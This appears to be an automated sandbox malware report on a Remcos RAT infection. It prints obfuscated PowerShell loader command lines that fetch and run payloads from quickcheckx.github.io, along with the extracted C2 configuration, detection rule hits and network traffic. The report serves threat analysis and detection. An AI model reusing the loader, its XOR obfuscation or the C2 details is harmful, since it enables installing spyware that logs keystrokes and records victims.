G=B Sk o nFt a k t alnDn 1S1O I'KEKES9R0SACF AF8TBA8BA 3EAB4OAEBOE 4H8H3AAE4 B CCA 5pAL1BAXFmEF2 E EF9 9UB EFARBAA 7TBfAsBoDFA FAAPF AAEUA BBFB9OEU6 EMEA9eANBC8oAIBaBAEgBIEWAF3EEI6 E E 8S8 BSFOAA6 A 7AA F BNFBBM8tBpESEC6 FSA EB6IF A E 3L'U; .N( `$ Uvn d eM7 ) A`$LSAaClUas3 # ;""";Function Sala9 { param([String]$Soonys); For($Actuatedp=1; $Actuatedp -lt $Soonys.Length-1; $Actuatedp+=(1+1)){$kontaktann = $kontaktann + $Soonys.Substring($Actuatedp, 1)}; $kontaktann;}$Spiroch0 = Sala9 'DIDE XH ';$Spiroch1= Sala9 $Loftma;if([IntPtr]::size -eq 8){.$env:systemroot\*ysw*64\*indo*ower*\v1.*\po*ll.exe $Spiroch1 ;}else{.$Spiroch0 $Spiroch1;} MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 7836 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function kontaktann11 { param([String]$Soonys); $Chiroma = ''; Write-Host $Chiroma; Write-Host $Chiroma; Write-Host $Chiroma; $Meso = New-Object byte[] ($Soonys.Length / 2); For($Actuatedp=0; $Actuatedp -lt $Soonys.Length; $Actuatedp+=2){ $Gloseforra = $Soonys.Substring($Actuatedp, 2); $Meso[$Actuatedp/2] = [convert]::ToByte($Gloseforra, 16); $Spaghe = ($Meso[$Actuatedp/2] -bxor 202); $Meso[$Actuatedp/2] = $Spaghe; } [String][System.Text.Encoding]::ASCII.GetString($Meso);}$Isnadi0=kontaktann11 '99B3B9BEAFA7E4AEA6A6';$Isnadi1=kontaktann11 '87A3A9B8A5B9A5ACBEE49DA3A4F9F8E49FA4B9ABACAF84ABBEA3BCAF87AFBEA2A5AEB9';$Isnadi2=kontaktann11 '8DAFBE9AB8A5A98BAEAEB8AFB9B9';$Isnadi3=kontaktann11 '99B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFAC';$Isnadi4=kontaktann11 'B9BEB8A3A4AD';$Isnadi5=kontaktann11 '8DAFBE87A5AEBFA6AF82ABA4AEA6AF';$Isnadi6=kontaktann11 '989E99BAAFA9A3ABA684ABA7AFE6EA82A3AEAF88B399A3ADE6EA9ABFA8A6A3A9';$Isnadi7=kontaktann11 '98BFA4BEA3A7AFE6EA87ABA4ABADAFAE';$Isnadi8=kontaktann11 '98AFACA6AFA9BEAFAE8EAFA6AFADABBEAF';$Isnadi9=kontaktann11 '83A487AFA7A5B8B387A5AEBFA6AF';$Unde0=kontaktann11 '87B38EAFA6AFADABBEAF9EB3BAAF';$Unde1=kontaktann11 '89A6ABB9B9E6EA9ABFA8A6A3A9E6EA99AFABA6AFAEE6EA8BA4B9A389A6ABB9B9E6EA8BBFBEA589A6ABB9B9';$Unde2=kontaktann11 '83A4BCA5A1AF';$Unde3=kontaktann11 '9ABFA8A6A3A9E6EA82A3AEAF88B399A3ADE6EA84AFBD99A6A5BEE6EA9CA3B8BEBFABA6';$Unde4=kontaktann11 '9CA3B8BEBFABA68BA6A6A5A9';$Unde5=kontaktann11 'A4BEAEA6A6';$Unde6=kontaktann11 '84BE9AB8A5BEAFA9BE9CA3B8BEBFABA687AFA7A5B8B3';$Unde7=kontaktann11 '838F92';$Unde8=kontaktann11 '96';$Sladrem21=kontaktann11 '9F998F98F9F8';$Pedologic23=kontaktann11 '89ABA6A69DA3A4AEA5BD9AB8A5A98B';function fkp {Param ($Unsu, $Henvend) ;$Goldbrick0 =kontaktann11 'EE86B9AFA2ABB9BEA3ADA2EAF7EAE2918BBABA8EA5A7ABA3A497F0F089BFB8B8AFA4BE8EA5A7ABA3A4E48DAFBE8BB9B9AFA7A8A6A3AFB9E2E3EAB6EA9DA2AFB8AFE785A8A0AFA9BEEAB1EAEE95E48DA6A5A8ABA68BB9B9AFA7A8A6B389ABA9A2AFEAE78BA4AEEAEE95E486A5A9ABBEA3A5A4E499BAA6A3BEE2EE9FA4AEAFF2E391E7FB97E48FBBBFABA6B9E2EE83B9A4ABAEA3FAE3EAB7E3E48DAFBE9EB3BAAFE2EE83B9A4ABAEA3FBE3';.($Unde7) $Goldbrick0;$Goldbrick5 = kontaktann11 'EE99BAA3A6AEA3A4AEB9EAF7EAEE86B9AFA2ABB9BEA3ADA2E48DAFBE87AFBEA2A5AEE2EE83B9A4ABAEA3F8E6EA919EB3BAAF919797EA8AE2EE83B9A4ABAEA3F9E6EAEE83B9A4ABAEA3FEE3E3';.($Unde7) $Goldbrick5;$Goldbrick1 = kontaktann11 'B8AFBEBFB8A4EAEE99BAA3A6AEA3A4AEB9E483A4BCA5A1AFE2EEA4BFA6A6E6EA8AE29199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFAC97E284AFBDE785A8A0AFA9BEEA99B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFACE2E284AFBDE785A8A0AFA9BEEA83A4BE9ABEB8E3E6EAE2EE86B9AFA2ABB9BEA3ADA2E48DAFBE87AFBEA2A5AEE2EE83B9A4ABAEA3FFE3E3E483A4BCA5A1AFE2EEA4BFA6A6E6EA8AE2EE9FA4B9BFE3E3E3E3E6EAEE82AFA4BCAFA4AEE3E3';.($Unde7) $Goldbrick1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Hgtninger83,[Parameter(Position = 1)] [Type] $Supportle = [Void]);$Goldbrick2 = kontaktann11 'EE82B3ADB8A5BEA2AFEAF7EA918BBABA8EA5A7ABA3A497F0F089BFB8B8AFA4BE8EA5A7ABA3A4E48EAFACA3A4AF8EB3A4ABA7A3A98BB9B9AFA7A8A6B3E2E284AFBDE785A8A0AFA9BEEA99B3B9BEAFA7E498AFACA6AFA9BEA3A5A4E48BB9B9AFA7A8A6B384ABA7AFE2EE83B9A4ABAEA3F2E3E3E6EA9199B3B9BEAFA7E498AFACA6AFA9BEA3A5A4E48FA7A3BEE48BB9B9AFA7A8A6B388BFA3A6AEAFB88BA9A9AFB9B997F0F098BFA4E3E48EAFACA3A4AF8EB3A4ABA7A3A987A5AEBFA6AFE2EE83B9A4ABAEA3F3E6EAEEACABA6B9AFE3E48EAFACA3A4AF9EB3BAAFE2EE9FA4AEAFFAE6EAEE9FA4AEAFFBE6EA9199B3B9BEAFA7E487BFA6BEA3A9ABB9BE8EAFA6AFADABBEAF97E3';.($Unde7) $Goldbrick2;$Goldbrick3 = kontaktann11 'EE82B3ADB8A5BEA2AFE48EAFACA3A4AF89A5A4B9BEB8BFA9BEA5B8E2EE83B9A4ABAEA3FCE6EA9199B3B9BEAFA7E498AFACA6AFA9BEA3A5A4E489ABA6A6A3A4AD89A5A4BCAFA4BEA3A5A4B997F0F099BEABA4AEABB8AEE6EAEE82ADBEA4A3A4ADAFB8F2F9E3E499AFBE83A7BAA6AFA7AFA4BEABBEA3A5A48CA6ABADB9E2EE83B9A4ABAEA3FDE3';.($Unde7) $Goldbrick3;$Goldbrick4 = kontaktann11 'EE82B3ADB8A5BEA2AFE48EAFACA3A4AF87AFBEA2A5AEE2EE9FA4AEAFF8E6EAEE9FA4AEAFF9E6EAEE99BFBABAA5B8BEA6AFE6EAEE82ADBEA4A3A4ADAFB8F2F9E3E499AFBE83A7BAA6AFA7AFA4BEABBEA3A5A48CA6ABADB9E2EE83B9A4ABAEA3FDE3';.($Unde7) $Goldbrick4;$Goldbrick5 = kontaktann11 'B8AFBEBFB8A4EAEE82B3ADB8A5BEA2AFE489B8AFABBEAF9EB3BAAFE2E3';.($Unde7) $Goldbrick5 ;}$Underl = kontaktann11 'A1AFB8A4AFA6F9F8';$kontaktann03 = kontaktann11 '8DAFBE89A5A4B9A5A6AF9DA3A4AEA5BD';$kontaktann00=kontaktann11 '99A2A5BD9DA3A4AEA5BD';$kontaktann01 = kontaktann11 'EE8CAFA6A6EAF7EA9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F08DAFBE8EAFA6AFADABBEAF8CA5B88CBFA4A9BEA3A5A49AA5A3A4BEAFB8E2E2ACA1BAEAEE99A6ABAEB8AFA7F8FBEAEEA1A5A4BEABA1BEABA4A4FAFAE3E6EAE28D8E9EEA8AE29183A4BE9ABEB897E6EA919F83A4BEF9F897E3EAE29183A4BE9ABEB897E3E3E3';.($Unde7) $kontaktann01;$kontaktann02 = kontaktann11 'EE8BB8A9A2A3BEA3EAF7EA9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F08DAFBE8EAFA6AFADABBEAF8CA5B88CBFA4A9BEA3A5A49AA5A3A4BEAFB8E2E2ACA1BAEAEE9FA4AEAFB8A6EAEEA1A5A4BEABA1BEABA4A4FAF9E3E6EAE28D8E9EEA8AE29183A4BE9ABEB897E3EAE29183A4BE9ABEB897E3E3E3';.($Unde7) $kontaktann02;$Goldbrick7 = kontaktann11 'EE8EABADBAAFA4ADAFA6A5F2EAF7EAEE8BB8A9A2A3BEA3E483A4BCA5A1AFE2FAE3';.($Unde7) $Goldbrick7;$Goldbrick7 = kontaktann11 'EE8CAFA6A6E483A4BCA5A1AFE2EE8EABADBAAFA4ADAFA6A5F2E6EAFAE3';.($Unde7) $Goldbrick7;$Goldbrick6 = kontaktann11 'EEAEAFA7A3A4AFB8ABA6EAF7EA9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F08DAFBE8EAFA6AFADABBEAF8CA5B88CBFA4A9BEA3A5A49AA5A3A4BEAFB8E2E2ACA1BAEAEE9FA4AEAFB8A6EAEE9FA4AEAFFEE3E6EAE28D8E9EEA8AE29183A4BE9ABEB897E6EA919F83A4BEF9F897E6EA919F83A4BEF9F897E6EA919F83A4BEF9F897E3EAE29183A4BE9ABEB897E3E3E3';.($Unde7) $Goldbrick6;$Bulmeurt = fkp $Unde5 $Unde6;$Goldbrick7 = kontaktann11 'EE99BEABA7BABDAFAFAEABF9EAF7EAEEAEAFA7A3A4AFB8ABA6E483A4BCA5A1AFE29183A4BE9ABEB897F0F090AFB8A5E6EAFCFCFBE6EAFAB2F9FAFAFAE6EAFAB2FEFAE3';.($Unde7) $Goldbrick7;$Goldbrick8 = kontaktann11 'EE9AB8ABBEBEA3EAF7EAEEAEAFA7A3A4AFB8ABA6E483A4BCA5A1AFE29183A4BE9ABEB897F0F090AFB8A5E6EAF2FEFAFEFBFDF8F2E6EAFAB2F9FAFAFAE6EAFAB2FEE3';.($Unde7) $Goldbrick8;$kontaktann01 = kontaktann11 'A2BEBEBAB9F0E5E5BBBFA3A9A1A9A2AFA9A1B2E4ADA3BEA2BFA8E4A3A5E5BBBFA3A9A1A7AFE59AABA4B0AFB8B9BEA3E4A6BAA1';$kontaktann00 = kontaktann11 'EE99ABA6ABEAF7EAE284AFBDE785A8A0AFA9BEEA84AFBEE49DAFA889A6A3AFA4BEE3E48EA5BDA4A6A5ABAE99BEB8A3A4ADE2EEA1A5A4BEABA1BEABA4A4FAFBE3';$Goldbrick8 = kontaktann11 'EE99BEABA7BABDAFAFAEABF8F7EEAFA4BCF0ABBABAAEABBEAB';.($Unde7) $Goldbrick8;$Stampweeda2=$Stampweeda2+'\Topforme.Sub';$Sala='';if (-not(Test-Path $Stampweeda2)) {while ($Sala -eq '') {.($Unde7) $kontaktann00;Start-Sleep 5;}Set-Content $Stampweeda2 $Sala;}$Sala = Get-Content $Stampweeda2;$Goldbrick9 = kontaktann11 'EE8DA5A6AEA8B8A3A9A1EAF7EA9199B3B9BEAFA7E489A5A4BCAFB8BE97F0F08CB8A5A788ABB9AFFCFE99BEB8A3A4ADE2EE99ABA6ABE3';.($Unde7) $Goldbrick9;$Sala0 = kontaktann11 '9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F089A5BAB3E2EE8DA5A6AEA8B8A3A9A1E6EAFAE6EAEAEE99BEABA7BABDAFAFAEABF9E6EAFCFCFBE3';.($Unde7) $Sala0;$stand=$Goldbrick.count-661;$Sala1 = kontaktann11 '9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F089A5BAB3E2EE8DA5A6AEA8B8A3A9A1E6EAFCFCFBE6EAEE9AB8ABBEBEA3E6EAEEB9BEABA4AEE3';.($Unde7) $Sala1;$Sala2 = kontaktann11 'EE90AFA8B8A3A4ABEAF7EA9199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E487ABB8B9A2ABA697F0F08DAFBE8EAFA6AFADABBEAF8CA5B88CBFA4A9BEA3A5A49AA5A3A4BEAFB8E2E2ACA1BAEAEE99A6ABAEB8AFA7F8FBEAEE9AAFAEA5A6A5ADA3A9F8F9E3E6EAE28D8E9EEA8AE29183A4BE9ABEB897E6EA9183A4BE9ABEB897E6EA9183A4BE9ABEB897E6EA9183A4BE9ABEB897E6EA9183A4BE9ABEB897E3EAE29183A4BE9ABEB897E3E3E3';.($Unde7) $Sala2;$Sala3 = kontaktann11 'EE90AFA8B8A3A4ABE483A4BCA5A1AFE2EE99BEABA7BABDAFAFAEABF9E6EE9AB8ABBEBEA3E6EE88BFA6A7AFBFB8BEE6FAE6FAE3';.($Unde7) $Sala3# MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

ieinstal.exe (PID: 10336 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

CTBrowserSetup.exe (PID: 10576 cmdline: "C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe" MD5: B2580CACC3C40ABCFA5E91FFA5409761)

CTBrowserSetup.exe (PID: 10752 cmdline: "C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe" MD5: B2580CACC3C40ABCFA5E91FFA5409761)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group	http://malware-traffic-analysis.net/2017/12/22/index.html https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/ https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "cryptotabhost.online:2404:1", "Assigned name": "CryptoTab", "Copy file": "remcos.exe", "Startup value": "Remcos", "Mutex": "Rmc-OO9THI", "Keylog file": "logs.dat", "Screenshot file": "Screenshots", "Audio folder": "MicRecords", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "100000"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000001E.00000002.3358994874.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000003.844623037.000002633E501000.00000004.00000020.00020000.00000000.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth (Nextron Systems)	0x6ce8:$s1: poweRSHELL 0x778e:$s1: PowerShell 0x866e:$s1: PowerShell 0xb8b6:$s1: PowerShell 0xba16:$s1: PowerShell 0xba36:$s1: powershell 0xbb6e:$s1: powershell 0xbbac:$s1: powershell 0xbc98:$s1: PowerShell 0xbcb8:$s1: powershell 0xbd6e:$s1: powershell 0xbdac:$s1: powershell 0xbe16:$s1: PowerShell 0xbe36:$s1: PowerShell 0xbf18:$s1: PowerShell 0xbf38:$s1: powershell 0xc196:$s1: PowerShell 0xc1b6:$s1: powershell 0xc216:$s1: PowerShell 0xc236:$s1: powershell 0xc298:$s1: PowerShell
00000000.00000003.861279971.000002633E6D8000.00000004.00000020.00020000.00000000.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth (Nextron Systems)	0x1c4:$s1: poweRSHELL
00000000.00000002.863443496.0000026340D62000.00000004.00000020.00020000.00000000.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth (Nextron Systems)	0x2296:$s1: poweRSHELL
00000000.00000003.845185105.000002633E505000.00000004.00000020.00020000.00000000.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth (Nextron Systems)	0x2ce8:$s1: poweRSHELL 0x378e:$s1: PowerShell 0x466e:$s1: PowerShell 0x78b6:$s1: PowerShell 0x7a16:$s1: PowerShell 0x7a36:$s1: powershell 0x7b6e:$s1: powershell 0x7bac:$s1: powershell 0x7c98:$s1: PowerShell 0x7cb8:$s1: powershell 0x7d6e:$s1: powershell 0x7dac:$s1: powershell 0x7e16:$s1: PowerShell 0x7e36:$s1: PowerShell 0x7f18:$s1: PowerShell 0x7f38:$s1: powershell 0x8196:$s1: PowerShell 0x81b6:$s1: powershell 0x8216:$s1: PowerShell 0x8236:$s1: powershell 0x8298:$s1: PowerShell
00000000.00000002.862735606.000002633E507000.00000004.00000020.00020000.00000000.sdmp	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth (Nextron Systems)	0xce8:$s1: poweRSHELL 0x178e:$s1: PowerShell 0x266e:$s1: PowerShell 0x178e:$sn3: PowerShell 0x266e:$sn3: PowerShell
Process Memory Space: ieinstal.exe PID: 10336	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Click to see the 2 entries

Other

Source	Rule	Description	Author	Strings
amsi64_9996.amsi.csv	PowerShell_Case_Anomaly	Detects obfuscated PowerShell hacktools	Florian Roth (Nextron Systems)	0x1a6:$s1: poweRSHELL

Sigma Signatures

Stealing of Sensitive Information

Sigma detected: Remcos

Source: Registry Key set

Author: Joe Security: Data: Details: B1 61 56 A9 2D 98 74 DE C9 B9 D3 83 3E 8F 79 0F E8 5E 67 43 72 2C C1 29 72 FC 68 AD 1B F7 0D D8 7C 1F BD 6E 06 A6 09 41 09 DC 44 65 A2 87 00 CC 6F 27 DF 50 2A FE BD 07 73 5A 0F AD 41 20 38 FD A3 4B 09 E2 3A 15 94 3A 90 F1 7A FA 8E 17 DC AA D5 95 F1 0B 71 8C E8 A2 BC 1A 28 86 EC 17 C8 68 00 DD 47 F7 F5 24 BB 00 E1 0B 1A 2B , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Internet Explorer\ieinstal.exe, ProcessId: 10336, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Rmc-OO9THI\exepath

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000001E.00000002.3358994874.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Remcos {"Host:Port:Password": "cryptotabhost.online:2404:1", "Assigned name": "CryptoTab", "Copy file": "remcos.exe", "Startup value": "Remcos", "Mutex": "Rmc-OO9THI", "Keylog file": "logs.dat", "Screenshot file": "Screenshots", "Audio folder": "MicRecords", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "100000"}

Yara detected Remcos RAT

Source: Yara match	File source: 0000001E.00000002.3358994874.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ieinstal.exe PID: 10336, type: MEMORYSTR

Antivirus detection for URL or domain

Source: http://quickcheckx.github.io/quickme/XbuLYedqxf70.bina	Avira URL Cloud: Label: malware
Source: https://quickcheckx.github.io/v	Avira URL Cloud: Label: malware
Source: http://quickcheckx.github.io/quickme/XbuLYedqxf70.bin	Avira URL Cloud: Label: malware
Source: https://quickcheckx.github.io/quickme/XbuLYedqxf70.binQ	Avira URL Cloud: Label: malware
Source: https://quickcheckx.github.io/quickme/CTBrowserSetup_xoPL7G6.exe	Avira URL Cloud: Label: malware
Source: https://quickcheckx.github.io/quickme/Panzersti.lpk	Avira URL Cloud: Label: malware
Source: https://quickcheckx.github.io/	Avira URL Cloud: Label: malware
Source: https://quickcheckx.github.io/n	Avira URL Cloud: Label: malware
Source: https://quickcheckx.github.io/quickme/XbuLYedqxf70.bin	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: quickcheckx.github.io

Virustotal: Detection: 11%

Perma Link

Source: unknown	HTTPS traffic detected: 185.199.110.153:443 -> 192.168.11.20:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.153:443 -> 192.168.11.20:49823 version: TLS 1.2

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: cryptotabhost.online

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /quickme/Panzersti.lpk HTTP/1.1Host: quickcheckx.github.ioConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 185.199.110.153 185.199.110.153
Source: Joe Sandbox View	IP Address: 185.199.110.153 185.199.110.153

Source: global traffic	HTTP traffic detected: GET /quickme/CTBrowserSetup_xoPL7G6.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: quickcheckx.github.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /quickme/XbuLYedqxf70.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: quickcheckx.github.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quickme/XbuLYedqxf70.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: quickcheckx.github.ioCache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.11.20:49826 -> 54.36.230.170:2404

Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: ieinstal.exe, 0000001E.00000003.1638173120.0000000007E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: ieinstal.exe, 0000001E.00000003.1638173120.0000000007E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: ieinstal.exe, 0000001E.00000003.1638598011.0000000007E7F000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001E.00000002.3358994874.0000000007E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: ieinstal.exe, 0000001E.00000003.1638598011.0000000007E7F000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001E.00000002.3358994874.0000000007E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: ieinstal.exe, 0000001E.00000003.1638173120.0000000007E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ieinstal.exe, 0000001E.00000003.1638173120.0000000007E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: ieinstal.exe, 0000001E.00000003.1638173120.0000000007E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: ieinstal.exe, 0000001E.00000003.1638173120.0000000007E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: ieinstal.exe, 0000001E.00000002.3358994874.0000000007E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quickcheckx.github.io/quickme/XbuLYedqxf70.bin
Source: ieinstal.exe, 0000001E.00000002.3358994874.0000000007E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quickcheckx.github.io/quickme/XbuLYedqxf70.bina
Source: ieinstal.exe, 0000001E.00000002.3358994874.0000000007E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://quickcheckx.github.io/
Source: ieinstal.exe, 0000001E.00000002.3358994874.0000000007E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://quickcheckx.github.io/n
Source: ieinstal.exe, 0000001E.00000002.3358994874.0000000007DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://quickcheckx.github.io/quickme/CTBrowserSetup_xoPL7G6.exe
Source: ieinstal.exe, 0000001E.00000002.3358994874.0000000007E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://quickcheckx.github.io/quickme/XbuLYedqxf70.bin
Source: ieinstal.exe, 0000001E.00000002.3358994874.0000000007E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://quickcheckx.github.io/quickme/XbuLYedqxf70.binQ
Source: ieinstal.exe, 0000001E.00000002.3358994874.0000000007E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://quickcheckx.github.io/v

Source: unknown

DNS traffic detected: queries for: quickcheckx.github.io

Source: global traffic	HTTP traffic detected: GET /quickme/Panzersti.lpk HTTP/1.1Host: quickcheckx.github.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quickme/CTBrowserSetup_xoPL7G6.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: quickcheckx.github.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /quickme/XbuLYedqxf70.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: quickcheckx.github.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quickme/XbuLYedqxf70.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: quickcheckx.github.ioCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 185.199.110.153:443 -> 192.168.11.20:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.153:443 -> 192.168.11.20:49823 version: TLS 1.2

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 0000001E.00000002.3358994874.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ieinstal.exe PID: 10336, type: MEMORYSTR

System Summary

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c dir
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd /c dir&echo ###RSHELL.EXE###
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Loftma = """ FAuJn cPtGi oEnh k oUnStbabkHt aCn n 1P1L M{ B P b p a r a m (C[BSHtTrNiEnAg ] `$ SDo oSn y s )G;S K`$ C hCiSrBoJm a P=K M'M'A; WUr iBtSe -aHPo sFtG B`$ C hDiKrUoDmUaP; WPrSi tIe - H o s tB `$ Cbh iAr oFmCa ;J WPrAiKtAeU-MH oSsSt `$ CEh iSrSosmJa ;M R A G`$ Mbe sPo =T TNFe wU-AOIbBj eBcGt CbDyAtie [ ]O T(O`$NS o o n yCs . LOegn gStChm / d2S) ;I S UF o r ( `$UAPcrtYuCa tZeBdSpB= 0 ;M H`$AAKcFtSu a tRe dAp -GlAtU M`$ SnoSoRnPyFsS.BLSeCnBgStvh ;I `$CA c tMu artseRdMpB+ =L2D)L{f `$ GblKo s eHfHoSrNrPa R=B `$FS oPo nLyFsP.DSTu bKs t r iRn g (K`$TABcZt uFaCt eMd pC,G 2 )T;U O B l O C G B`$AM eSs o [S`$sA c tMuOa tEe dNpW/ 2C]O E=S U[ cRoOnMvHeUrPtT]H:k: T o BSyUt eS(M`$RGUlUoUsFeMf o r r at,C C1A6P)h;C U`$SS psa gThBeC = C(P`$RM ePsBo [ `$ AicAt uFaatGeKd pH/U2 ]U E-Nb x oBrG V2V0F2T)A;G R B`$HMAeAs o [ `$iA c t uBa tNe dSp /D2C]Z H=T b`$SSapKaSgPh eU;S D } 